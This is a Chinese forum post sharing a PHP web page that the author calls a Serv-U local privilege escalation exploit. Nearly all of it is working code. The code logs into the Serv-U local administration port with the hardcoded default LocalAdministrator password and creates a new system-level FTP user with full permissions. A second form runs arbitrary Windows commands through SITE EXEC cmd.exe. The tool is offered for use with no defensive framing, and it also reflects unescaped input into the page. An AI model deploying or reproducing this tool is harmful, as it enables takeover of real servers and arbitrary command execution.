返回列表 回复 发帖

我非我的PHP的SERV-U利用工具

作者:我非我
  1. <html>
  2. <head>
  3. <title>Serv-U本地提升权限Exp10it By 我非我</title>
  4. <meta content="text/html; charset=gb2312" http-equiv="Content-Type">
  5. <STYLE TYPE="text/css">
  6. b {font-family : Verdana, sans-serif;font-size : 14px;}
  7. body,td,p,pre {
  8. font-family : Verdana, sans-serif;font-size : 12px;
  9. }
  10. input {
  11.          font-family: "Verdana";
  12.          font-size: "11px";
  13.          BACKGROUND-COLOR: "#FFFFFF";
  14.          height: "18px";
  15.          border: "1px solid #666666";
  16.       }
  17. </STYLE>
  18. </head>
  19. <body bgcolor="#EEEEEE" text="#000000" link="#006699" vlink="#5493B4">

  20. <form action="<?=$_SERVER['PHP_SELF']?>" method="get">
  21. <center><b>Serv-U本地提升权限Exp10it By 我非我</b>
  22. <center><b>提升权限部分</b>
  23. <hr>
  24. <table width="760" border="0" cellpadding="0">
  25. <tr><td width="150">主机Ftp端口:</td>   <td width="660"><input name="ftpport" type="text" class="INPUT" value="<?=$_GET['ftpport']?>"></td></tr>
  26. <tr><td width="150">添加的用户名:</td>   <td width="660"><input name="user" type="text" class="INPUT" value="<?=$_GET['user']?>"></td></tr>
  27. <tr><td width="150">添加的用户名密码:</td><td width="660"><input name="password" type="password" class="INPUT" value="<?=$_GET['password']?>"></td></tr>
  28. <tr><td width="150">用户主目录(别忘了写"\"):</td> <td width="660"><input name="homedir" type="text" class="INPUT" value="<?=$_GET['homedir']?>"></td></tr>
  29. <tr><td width="660"><input name="action" type="hidden" value="up"></td></tr>
  30. <tr><td width="150"><input type="submit" class="INPUT" value="提升"></td></tr>
  31. </form></tr>
  32. </table></center><hr>
  33. <textarea cols="80" rows="15" readonly>命令回显:
  34. <?if ($_GET['action']=="up"){
  35.   up($_GET['ftpport'],$_GET['user'],$_GET['password'],$_GET['homedir']);
  36.   }
  37.   ?>
  38. </textarea><hr>

  39. <form action="<?=$_SERVER['PHP_SELF']?>" method="get">
  40. <center><b>Serv-U本地提升权限Exp10it By 我非我</b>
  41. <center><b>执行命令部分</b>
  42. <hr>
  43. <table width="760" border="0" cellpadding="0">
  44. <tr><td width="100">主机Ftp端口:</td>   <td width="660"><input name="ftpport" type="text" class="INPUT" value="<?=$_GET['ftpport']?>"></td></tr>
  45. <tr><td width="100">用户名:</td>   <td width="660"><input name="user" type="text" class="INPUT" value="<?=$_GET['user']?>"></td></tr>
  46. <tr><td width="100">用户名密码:</td><td width="660"><input name="password" type="password" class="INPUT" value="<?=$_GET['password']?>"></td></tr>
  47. <tr><td width="100">执行的命令:</td> <td width="660"><input name="cmd" type="text" class="INPUT" value="<?=$_GET['cmd']?>"></td></tr>
  48. <tr><td width="660"><input name="action" type="hidden" value="execute"></td></tr>
  49. <tr><td width="100"><input type="submit" class="INPUT" value="执行"></td></tr>
  50. </form></tr></table></center><hr>
  51. <textarea cols="80" rows="15" readonly>命令回显:
  52. <?if ($_GET['action']=="execute"){
  53.   ftpcmd($_GET['ftpport'],$_GET['user'],$_GET['password'],$_GET['cmd']);
  54.   }
  55. ?></textarea><hr>
  56. <?php
  57. function up($ftpport,$user,$password,$homedir){
  58. $fp = fsockopen ("127.0.0.1", 43958, $errno, $errstr, 30);
  59. if (!$fp) {
  60.   echo "$errstr ($errno)<br>\n";
  61. } else {
  62.   fputs ($fp, "USER LocalAdministrator\r\n");
  63.   sleep (1);
  64.   fputs ($fp, "PASS #l@\$ak#.lk;0@P\r\n");
  65.   sleep (1);
  66.   fputs ($fp, "SITE MAINTENANCE\r\n");
  67.   sleep (1);
  68.   fputs ($fp, "-SETUSERSETUP\r\n");
  69.   fputs ($fp, "-IP=0.0.0.0\r\n");
  70.   fputs ($fp, "-PortNo=".$ftpport."\r\n");
  71.   fputs ($fp, "-User=".$user."\r\n");
  72.   fputs ($fp, "-Password=".$password."\r\n");
  73.   fputs ($fp, "-HomeDir=".$homedir."\r\n");
  74.   fputs ($fp, "-LoginMesFile=\r\n");
  75.   fputs ($fp, "-Disable=0\r\n");
  76.   fputs ($fp, "-RelPaths=0\r\n");
  77.   fputs ($fp, "-NeedSecure=0\r\n");
  78.   fputs ($fp, "-HideHidden=0\r\n");
  79.   fputs ($fp, "-AlwaysAllowLogin=0\r\n");
  80.   fputs ($fp, "-ChangePassword=1\r\n");
  81.   fputs ($fp, "-QuotaEnable=0\r\n");
  82.   fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
  83.   fputs ($fp, "-SpeedLimitUp=-1\r\n");
  84.   fputs ($fp, "-SpeedLimitDown=-1\r\n");
  85.   fputs ($fp, "-MaxNrUsers=-1\r\n");
  86.   fputs ($fp, "-IdleTimeOut=600\r\n");
  87.   fputs ($fp, "-SessionTimeOut=-1\r\n");
  88.   fputs ($fp, "-Expire=0\r\n");
  89.   fputs ($fp, "-RatioUp=1\r\n");
  90.   fputs ($fp, "-RatioDown=1\r\n");
  91.   fputs ($fp, "-RatiosCredit=0\r\n");
  92.   fputs ($fp, "-QuotaCurrent=0\r\n");
  93.   fputs ($fp, "-QuotaMaximum=0\r\n");
  94.   fputs ($fp, "-Maintenance=System\r\n");
  95.   fputs ($fp, "-PasswordType=Regular\r\n");
  96.   fputs ($fp, "-Ratios=None\r\n");
  97.   fputs ($fp, " Access=".$homedir."│RWAMELCDP\r\n");
  98.   sleep (1);
  99.   fputs ($fp, "-GETUSERSETUP\r\n");
  100.   fputs ($fp, "-IP=0.0.0.0\r\n");
  101.   fputs ($fp, "-PortNo=".$ftpport."\r\n");
  102.   fputs ($fp, " User=".$user."\r\n");
  103.   sleep (1);
  104.   fputs ($fp, "QUIT\r\n");
  105.   sleep (1);
  106.   while (!feof($fp)) {
  107.     echo fgets ($fp,128);
  108.   }
  109.   fclose ($fp);
  110. }
  111. }

  112. function ftpcmd($ftpport,$user,$password,$cmd){

  113. $conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 30);

  114. if (!$conn_id) {
  115.   echo "$errstr ($errno)<br>\n";
  116. } else {
  117.   fputs ($conn_id, "USER ".$user."\r\n");
  118.   sleep (1);
  119.   fputs ($conn_id, "PASS ".$password."\r\n");
  120.   sleep (1);
  121.   fputs ($conn_id, "SITE EXEC c:\\windows\\system32\\cmd.exe /c ".$cmd."\r\n");
  122.   fputs ($conn_id, "QUIT\r\n");
  123.   sleep (1);
  124.   while (!feof($conn_id)) {
  125.     echo fgets ($conn_id,128);
  126.   }
  127.   fclose($conn_id);
  128. }
  129. }
  130. ?>
复制代码
返回列表